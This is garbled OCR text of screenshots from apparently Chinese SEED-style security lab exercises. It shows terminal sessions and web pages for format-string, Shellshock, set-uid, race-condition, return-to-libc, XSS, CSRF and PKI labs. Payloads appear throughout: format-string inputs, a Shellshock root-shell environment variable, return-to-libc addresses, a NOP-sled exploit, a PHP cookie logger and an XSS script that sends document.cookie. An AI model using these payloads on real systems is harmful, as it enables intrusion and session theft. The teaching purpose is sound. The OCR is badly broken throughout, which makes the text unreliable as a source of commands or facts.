The new secrets: 0x44 -- 0x3e8

shiyantou:~/ $ I [14:45:00]
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root@07d3480e9795: /tmp# ./vul_prog

The variable secret's address is Oxffffe3e8 (on stack)
The variable secret's value is 0x 602010 (on heap)
secret[0]'s address is 0x 602010 (on heap)
secret[1]'s address is Ox 602014 (on heap)

Please enter a string

%08x , %08x , k08X , %08 3
f7dd59fe,00000001,00000000 00000600

The original secrets: Ox44 -- Ox55

The new secrets: 0x44 -- 0x55

root@07d3480e9795: /tmp# . /write_string

%08x ,%08x , %08x ,%08x ,%08x , %08x , %08x , %08x , %n

The string length is 46

root@07d3480e9795: /tmp# ./vul_prog < mystring

The variable secret's address is Oxffffe3e8 (on stack)
The variable secret's value is 0x 602010 (on heap)
secret[0]'s address is Ox 602010 (on heap)
secret[1]'s address is 0x 602014 (on heap)

Please enter a string

o%"[§7dd59F0, 00000001, FFFFFffF,00000000,00000000,FFffe548, FFffe3fo, f63ddeze,
The original secrets: 0x44 -- Ox55

The new secrets: 0x4c -- Ox55
root@07d3480e9795: /tmp#t I
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shiyanlou:~/ $ 1linux32

S /bin/bash
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shiyanlou:~/ $ sudo pip install pyftpdlib [19:58:18]
Downloading/unpacking pyftpdlib
http://mirrors.aliyuncs.con/pypi/sinple/pyftpdlib/ uses an insecure transport
scheme (http). Consider using https if mirrors.aliyuncs.con has it available
Downloading pyftpdlib-1.5.1.tar.gz (127kB): 127kB downloaded
Running setup.py (path:/tmp/pip_build_root/pyftpdlib/setup.py) eag_info for pal
ckage pyftpdlib

warning: no files found matching '*README*' under directory 'demo’

‘pysendfile’ third-party module is not installed. This is not
essential but it considerably speeds up file transfers.

You can install it with 'pip install pysendfile'.

More at: https://github.con/giampaolo/pysendfile

"pyopenssl’ third-party module is not installed. This means
FTPS support will be disabled. You can install it with:
'pip install pyopenssl'.
Installing collected packages: pyftpdlib
Running setup.py install for pyftpdlib
changing mode of build/scripts-2.7/ftpbench from 644 ’ 550

warning: no files found matching '*README*' under directory.:demg.
changing mode of /usr/local/bin/ftpbench to 755
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shiyanLou $ touch shock.c

shiyanlou:~/ $ vim shock.c

shiyanlou:~/ $ sudo su

root@d7cd8edecfd2: /home/shiyanlou# gcc -o shock shock.c
root@d7cd8edecfd2: /home/shiyanlou# chmod u+s shock
root@d7cd8e@ecfd2: /home/shiyanlou# ls -il shock

7907 -rwsr-xr-x 1 root root 8618 38 20 15:43 [HFEEA
root@d7cd8eBecfd2: /home/shiyanlou# exit

exit
Shiyanlou:-/ § export foo='() { :; }; bash' [15:44:38]
shiyanlou $ ./shock [15:45:21]

bash-4.1# |
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¢ -5 /usr/local/bin/bash /bin/bash
root@de2cb5aaeeb2: /home/shiyanlou/bash-4.1# bash -version

GNU bash , AR#& 4.1.0(1)-release (x86_64-unknown-linux-gnu)

Copyright (C) 2009 Free Software Foundation, Inc.

{FBliE GPLv3+: GNU GPL FE[iEMRAIHEE S <http://gnu-org/HCEHSES/QP‘L-ht"‘1>

iXRERRE , ST LB R ERAER LT,
EinEAFISEENQEER.
root@de2cb5aaeeb2: /home/shiyanlou/bash-4.1# exit
exit
shiyanlou:~/ § bash -version [16:26:05]
GNU bash , hR#& 4.1.8(1)-release (x86_64-unknown-Llinux-gnu)
Copyright (C) 2009 Free Software Foundation, Inc.
{FE[E GPLv3+: GNU GPL iFBJIERRZS3IKEES <http://gnu.org/licenses/gpl.html>

R S R, M e E I A K,

EEEAFIEENREER.

<hivanlou:-/ § env x="() { :;}; echo vulnerable' bash -c "echo this is a test
vulnerable

this is a test

shiyanlous~/ § [16:26:48]
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root@f461e03905f0: /home/shiyanlou/ica# openssl ca -in server.csr -out server.crt
~cert ca.crt -keyfile ca.key -config openssL.cnf

VARNING: Can't open config file: /usr/Lib/ssljopenssl.cnf

Using configuration fron openssl.cnf

Enter pass phrase for ca.key:

Check that the request matches the signature

Signature ok 1

The commonName field needed to be supplied and was missing

root@f461e63905F0: /home/shiyanlou/ica# tree .

ca.crt
ca.key
damoCh

ITT

= ceree
|

f— index.txt

| sewcerts

— sertal

openssl.cnf -> Jetc/ssl/openssl.cnf
server.crt

server.csr

server.key

[TTT

4 directories, 8 files
root@fa61e03905f0: /home/shiyanlou/ica# | I
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T
</er>
</tbody>
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<tr>
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shiyanlou:~/ § 1s -la /btn/sh

lrwxrwxrwx 1 root root 3 38 16 15:23 [bin(sh -> zsh shgf&?xih
shiyanlou:~/ $§ cd /tmp

shiyanlou:/tmp/ $ ls

file orbit-shiyanlou SRU.c ssh-ezr51Ghcdv8x

shiyanlou:/tmp/ § sudo su

root@77108d1869c5: /tmp# [gcC -0 SRU SRU.C| ==z, siuzsrun
root@77108d1869c5: /tmp# set-uid root# R
root@77108d1869c5: /tmp# exit

exit

shiyanlou:/tmp/ $ 1s -la file;ls -la SRU

SRU.c ssh-ezr51Ghcdv8x
FiBtSRUE FiEflet (FE 412

orbit-shiyanlou
sh\yanlaums".'\ ZiER
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e Untrusted Connection - Mozllfa Firefox
& Untrusted Connection X | New Tab x|+

€ 4 hips fpkilabserver.com

w8 ¥

- Firefox Preferences
1

-8
S I

L] Cartificate Manager

Your Certicates People. Servers Authorties | others

Downloading Cers

You have been asked to trust a new Certificate Authority (CA).

o
=i
Do you want to trust “match” for the following purposes? E

Trust this CA to identify websites,

[ Trust this CA to Identify email users.
[ Trust this CA to Identify software developers.

Before trusting this CA for any purpose, you should examine its certificate and its policy and
procedures (if available).

View | Examine CA certificate

8 cancel

Help 3 close.
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XSS Lab Site

Your profile

Activity.  Blogs  Bookmarks  Files

| Add widgets |
Boby
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About me

nice to meet you!

Wire posts
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3 *(long *) &buf[32] =exffffddcb; // "//bin//sh"
14 *(long *) &buf[24] =0xf7e5dcd0; // system()
LS
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W WRE AN SN0 L R
shiyanlou: /home/ $ python3 ./ftpScanner.py [23:28:01]
usage: ftpScanner.py [-h] [-H HOSTNAME] [-f PWDFILE]

FTP Scanner

optional arguments:
-h, --help  show this help nessage and exit

-H HOSTNAME The host list with “,"space

-f PWDFILE Password dictionary file

shiyanlou: /home/ $ I [23:28:11]
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This page forges an HTTP POST request.

undefined
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[04/62/2615 22:54] root@ubuntu:/home/seed/race# 1s -1 .

total 16

~rw-rw-r-- 1 seed
-rwW-rW-r-- 1 root
-rw-rw-r-- 1 seed
-rusF-xr-x 1 root
-rw-r--r-- 1 root

[64/62/2015 22:54] root@ubuntu: /home/seed/race# |

seed 17 Apr
seed 0 Apr
seed @ Apr
root 7403 Apr
root 585 Apr

2
2
2
2

N

22:47

append_text
root_file ¢

tﬁf‘lle

vulp.c

C—— B
- —RHEXT
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The variable secret's address is 0x512a1dd@ (on stack)
The variable secret's value is 0x 145b010 (on heap)
secret[8]'s address is Ox 145b810 (on heap)
se:ret[l] s address is 0x 145b814 (on heap)

enter a decimal integer

%msux %01611X,%01611X, %016
%01611X,%01611X,%01611X,%01611X, %01611)(
00BO00000000000A ,00007F299ABIBIFO, 0000000000000000 , 0VTBHEAL00000000 000000000000
0000,00007FFF512A1F38,00000001512A1DE0,0000000001458010 | 01 2C586C6
C36313025,2C586C6C36313025,2C586C6C36313025,2C586C6C36313025,2C586C6C36313025,2C
586636313025

The original secrets: 0x44 -- 0x55

%01611X,%01611X,%01611X,%01611X,%01611X,

The new secrets: 0x44 -- Ox55
*** stack smashing detected ***: ./a.out terminated
[1] 12294 abort ./a.out

shiyanlou:~/ $ | [14:06:41]
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XSS Lab Site Administration

Administer
Dashboard
Dashboard
Add widgets
» Statistics
Online users #© - control panel (]
» Users
Upgrade
1L admin [ Fiish the caches | + s
g samy §
Welcome O Configure
Weicome to Elgg! Right now you are looking at the administration dashboard. its » Appearance
New users £ uselul for tracking what's happening on the sit.
o Plugins
Navigation for the administration area Is provided by the menu to the right. it is
4L samy » Settings
organized into three sections:
1 Charlie Administer
Everyday tasks lie monitoring reported content, checking who is online, and
4 Boby viewing statistcs.
Configure

Occasional tasks like setting the site name or activating a plugin.

Develop
For developers who are buiding plugins or designing themes. (Requires a
developer plugin.)

Be sure 10 check out the resources avallable through the footer finks and thank
you for using Elgg!
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getArrayvalisriay $array,
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retur ay(snane]
else

return T4l
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Bvirtualtost

{iane http://www.xsslabelgg.con
MENTROOT [var /waw/XSS/elga/
</VirtualHost>
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shiyanlou@fc0e9902c7fb: /tmp

shiyanlou:/tmp/ $ sudo su

root@fc0e9902c7fb: /tmp# 1s

orbit-shiyanlou ssh-QH3g8fEA1Vef test.c zzz
root@fc0e9902c7fb: /tmp#[gCC -0 test test.C|rooth ==,
root@fc0e9902c7fb: /tmp# #ﬁﬁtestgﬁ‘%]
root@fc0e9902c7fb: /tmp# exit set-uid rootii &
exit

shiyanlou:/tmp/ - 3 13 test z=itff. RErootAFAESHR
-rw-r-=r-- 1 root root 1 38 16 17:33 zzz

-rwsr-xr-x 1 root root 8867 3 16 17:34

shiyanlou: /tmp/

shiyanlou:/tmp/

shiyanlou!Qd

ShiyanTou:/imp] § EEA PR, HtestTHESAT A%
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. samy
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Jtest

shiyanlou:~/ $ cd /tmp

shiyanlou:/tmp/ $ sudo su

root@6d66aeb2077b: /tmp# 1s

orbit-shiyanlou ssh-820yxohiFkow test.c
root@6d66aeb2077b: /tmp# S5, HEEestETRE
root@6d66aeb2077b: /tmp# chmod u+s test
root@6d66aeb2077b: /tmp# exit

exit

i #&/bin/shiz ME|AmpE R T,
shiyanlou:/tnp/ $ cp /bin/sh /tmp/1s ¥ 225"

shiyanlou:/tmp/ $§ 1s

ls orbit-shiyanlou ssh-820yxohiFkow - test.c
shivanlou:/tmp/ $ I\éat%ﬁﬁ?éﬁ
shiyanlou:/tmp/ $ echo SPATH

/tmp/

shiyanlou: /mplw
compaudit:10 l/c:omman not found: getent

6d66aeb207THFI—— sia= = mestiz=. = Ero0tinE
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% www.cstflabelgg.com profile/bo

y

st Visited @ Getting Started [~ Seed Labs™

=

CSRF Lab S

Activity  Blogs

Bookmarks

A ba it A Ahed= b it Hindd o tianl A L e

Headers |‘Bener,amr Config About|

HTTP Headers

hitp://www.csrflabelgg. com/action/friends/add?friend=40& _elgg_ts=1429794035& _elg.

GET /action/friends/add?friend=40&_elgg_ts=1429794035&_elgg_token=020192bfleda...
Host: www.csrflabelgg.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0
Accept: text/htm,application/xhtmi-+xml,application/xml;q=0.9,%/+;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.csrflabelgg.com/profile/boby

Cookie: Elgg=6tsoadjubkjval2a3kdughedqo

Connection: keep-alive
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104/10/2015 06:45] seed@20p748c9420a:/var/www/X5S/Collabtive$ touch cookie.txt
104/10/2015 06:45] seed@20b748c9420a:/var/www/X5S/Collabtives sudo chmod 777 cool
[04/10/2015 06:45] s=eal20n748c3¢20a: /vas/vaw/ X35/ Coiabives
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[04/02/2015 23:23] seed@ubuntu

[04/62/2015 23:23] seed@ubuntu:

hello, shiyanlou

/race$ cat root_file
Jrace$ cat append_text

[04/62/2015 23:24] seed@ubuntu:~/race$ s -1 .

total 32

-rw-rw-r-- 1 seed seed
-rwxrwxr-x 1 seed seed
-rw-rw-r-- 1 seed seed
-rwxrw-r-- 1 seed seed
~rWw-rw-r-- 1 root seed
-rw-rw-r-- 1 seed seed
-rwsr-xr-x 1 root reot
rW-r--r-= 1

root root

17
7164
131
228
[

0
7403
585

Apr
Apr
Apr
Apr
Apr
Apr
Apr
Apr

NNNNRNNNN

22:47
23:23
23:22
23:17
22:46
22:46
22:52
22:51

append_text
attacker.c
root_file

t&ﬁle

vulp.c
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[& www.csrflabelgg.com/profile/boby ~ 2 [B+ cooge

Most Visited~ @ Getting Started [ Seed Labs™

elog K =

CSRF Lab Site

Boby

Brief description: test

Location:

About me
test

avatar

| Edit profile |
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[Back'| Forward |URL: [about:blank

Open New Window | _View Source

Read Cookie
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getArrayVal § SET, "
getArrayval $_sET,
Stemplace->assign ("
g v e tesssagen
Siangusges = getAvailablelanguages | :
Stemplare->assign (" ... --%, Slanguagss!

Sproject = arrayi):
Sproject{* 14| = $ad;
Stemplare->assign("-: =- %, Sproject!;
v et = e —
Sclasses = array ("=
S

=
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0575 1h en Vb ifit Lve

2¢ uname=null;Ajax=new XMLHttpRequest();Ajax.open(

I {0 ,T 0 );Ajax.setRequestheader( 5/ wwwi 53 Lubcal Labbive. can® );ATax. setre
questHeader( , ' ):Ajax.setRequestHeader( e e jax.setRequestHeader(
©,document.cookie);Ajax.setRequestHeader ( AL 1Y) A LGN 4wl - 107 LT LEnECa g™ Yo a
on=new Ajax.PeriodicalUpdater( ~ , . 0 ,Imethod:  ,onSuccess:
function(transport)(var div=document.createElement( );div.innerHTML=transport.responseText;uname=
v. Firstchild.childNodes(0).childNodes 8. text;div=null; i content= - +unames tackery:

| ;Ajax.send(content); | ,frequency:1000}

var on=new Ajax.Periodicallpdater( ' © , . .0 . [method: = onSucce|
[ss:7unction(transport)  test=transport.responseText;local=test.indexof( = );tempstr=test.substri

ng(local-130,local-119);aler t(tempstr); |, frequency:1000));

- 3Ajax.send(content);

ar content= . tuname+
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Write your malicious web here





OEBPS/Images/userid9094labid882time1429159724192.jpg
http://www.xsslabcollabtive.com/admin. php?action=addpro

POST /admin.php?action=addpro HTTP/1.1

Host: www.xsslabcollabtive.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:23.0) Gecko/20100101 Fi...

Accept: text/html,application/xhtmi-+xml,application/xml;q=0.9,%/*;

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://www.xsslabcollabtive.comy/index.php?mod:

Cookie: PHPSESSID=3i3ijro9sb7c8c8i193jn0anos

Connection: keep-alive

Content-Type: application/x-www-form-urlencoded

Content-Length: 66
name=test&desc=&end=12.04.2015&budget=&assignto%5B%5D=1&assignme=1

HTTP/1.1 302 Found
Date: Sun, 12 Apr 2015 10:43:45 GMT
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@ csrflabattacker.com/ha

“1Most Visited v @ Getting Started [—Seed Labs™

This page forges an HTTP POST request.

undefined
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</virtaattoss>
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shivanlou:~/ $ which passwd [10:25:49]
/usr/bin/passwd

shiyanlou:~/ $ 1s -1a /usr/bin/passwd [10:26:02]
-rwér-xr-x 1 root root 47032 28 17 2014 [NENIETYEEEENE

shiyanloir~L$ cp /usr/bin/passwd /tmp/ [10:26:16]

shiyanlou:~/ $§ /tmp/passwd [10:26:37]
-r - shiyanlou nlou 47032 38 16 10:26 /tmp/passwd
shiyanlou:~/ § WpasswdiE MEIXE B ST, [10:26:55]

shiyanlou:~/ § BREE TN [10:27:06]
shiyanlou:~/ & [10:27:07]
B8 shiyanlou FUEEEY,
( H#0) UNIX BBH :

A FHI UNIX EBE : A
EHTHATE) UNIX BEED .
passwd: IMESRRIRIEHRIR

passwd: password unchanged

shiyanlou:~/ § [10:27:41]

shiyanlou:~/ $ "m‘ml [10:28:13]
B4 shiyanlou HYE
( H#0) UNIX BBHG :

AR UNIX BBFS BHEmRS

EHWATN UNIX B : /

passwd: password updated successfull

shiyanlou:~/ $ [10:28:31]

shiyanlou@ce40cafccf52: = - ox
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XSS Lab Site

Activity  Blogs  Bookmarks  Files  Groups v More

| Add widge

Boby
Brie description: nice {0 meet youl alert(iodss/)

About me
nice to medqml 11 <{[CDATA] alert("Axsy"): I/ ]|>

%”E#?F%Ez?mukieﬂ?ﬁgﬁﬁf s B <script></script>3Xf Mg
ST

Edit avatar |
Edit profile |
Blogs
Bookmarks
Files

Pages

Wire posts
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root@b278674a%e10; /tmp celziEd
shiyanlou@b278674a9e10:/tmp$ gcc -m32 -g -o exploit exploit.c
shiyanlou@b278674a%e10: /tmp$ ggg -§ .ZexEEott ol
Reading symbols from ./exploit...done. gdbigis
(gdb) list
1 /* exploit.c */
2 #include <stdlib.h>
3 #include <stdio.h>
4 #include <string.h>
5 int main(int argc, char **argv)
6
7 char buf[40];
8 FILE *badfile;
9 badfile = fopen(".//badfile", "w");
0

1

(gdb)[b_18 | — Ez10TirEL=

Breakpoint 1 at ©x8048521: file exploit.c, line 10.
(gdb) ———— ETEM AL

Starting program: /tmp/exploit

Breakpoint 1, main (argc=1, argv=0xffffd454) at exploit.c:11
11 strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x9
0\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90");// nop 24 times

(gdb) stem itk
$1 = {<text variable, no debug info>} [0xf7e5dcd6|<system>

(gdb) [pextt |
$2 = {<text variable, no debug info>)<exi.t> I’ SCAGRE

(gdb) exicihik
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<2php

Scookite = 'S GET["c"};

$1og = fopen(“cookie.txt®,"a*);
Furite(Slog,Scookie .*\n*);
fclose(Slog);

7>

|
L
?_ :

"hack.php* [readonly] 6L, 185C

ALl
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http://www.csrflabattacker.com
DoculientRoot /var/www/CSRF/Attacker/
</VirtualHost>
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var on=new Ajax.PeriodicaluUpdaterf 5 "manogeusec.phplaction=anlinglist®
(method: ,onSuccess:{unction(transport) alert(transport.reponseText);|,frequence:1000])
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Mozllla Firefox

Untrusted Connection

New Tab x| %

Jpkiabserver.lom

~c|[E one AxE ¥ al=S

This Connection is Untrusted

You have asked Firefox to connect securely to pkilabserver.com:4433, but we can't confirm that
your connection s secure.

Normally, when you try to connect securely, stes will present trusted identification to prove that you
are going to the right place. However, this site's identity can't be verified.

What Should I Do?

Ifyou usually connect to this site without problems, this error could mean that someone is trying to
impersonate the site, and you shouldn't continue.

Get me out of hers!

+ Technical Detalls

© T'Understand the Risks
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'pip install pyopenssl'.
Tnstalling collected packages: pyftpdlib
Running setup.py install for pyftpdlib
changing mode of build/scripts-2.7/ftpbench from 644 to 755

warning: no files found matching '*README*' under directory 'demo’
changing mode of /usr/local/bin/ftpbench to 755

‘pysendfile' third-party module is not installed. This is not
essential but it considerably speeds up file transfers.

You can install it with 'pip install pysendfile'.

More at: https://github.com/giampaolo/pysendfile

‘pyopenssl' third-party module is not installed. This means
FTPS support will be disabled. You can install it with:
‘pip install pyopenssl'.

Successfully installed pyftpdlib

Cleaning up

shiyaniou

'$ sudo python -m pyftpdlib -p 21 [19:58:41]
3] >>> starting FTP server on 0.0.0. 80 <<<

] concurrency model: async o
y y e p*tﬁ

| masquerade (NAT) address: None
3] passive ports: None






OEBPS/Images/userid9094labid912time1429497732589.jpg
O
€ collabtive

Projectmanagement
& s

& | suy ogeucin






OEBPS/Images/setuid-01-12.jpg
shiyanlou@fc0e9902¢7fb: /tm
shiyanlou:/tmp/ $§ sudo su
[sudo] password for shiyanlou:
root@fc0e9902c7fb: /tmp# FEAASIL
root@fc0e9902c7fb: /tmp# |su SYL YR E(F A SYL
SYL@fc0e9902c7fb: /tmp$ export LD_PRELOAD=./libmylib.so.1.0.1
SYL@fc0e9902c7fb: /tmp$ gcc myprog.c -o myprog
SYL@fc0e9902c7fb: /tmp$ chmod u+s myprog
SYL@fc0e9902c7fb: /tmp$
SYL@fc0e9902c7fb: /tmp$ 4221 P shiyanlou
B .

shiyanlou:/tnp/|$ ./myprog | o sedeenms
shiyanlou:/tmp/
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irtualfost
Sezveriiane netp://wiw.csrflabcollabtive . com
Documentroor /var/waw/CSRF/Collabtive/
</Vircaaisosc>

<vircualsiost <:i10 >

serveriiane netp://waw.csrflabattacker. con

Documentroor /var/waw/CSRE/Avtacker/
</Vircaaisosc>
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HTTP Headers

http://www.soplabcollabtive.com/

GET / HTTP/1.1

Host: www.soplabcollabtive.com

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686 on x86_64; rv:23.0) Gecko/20100101 Fi...
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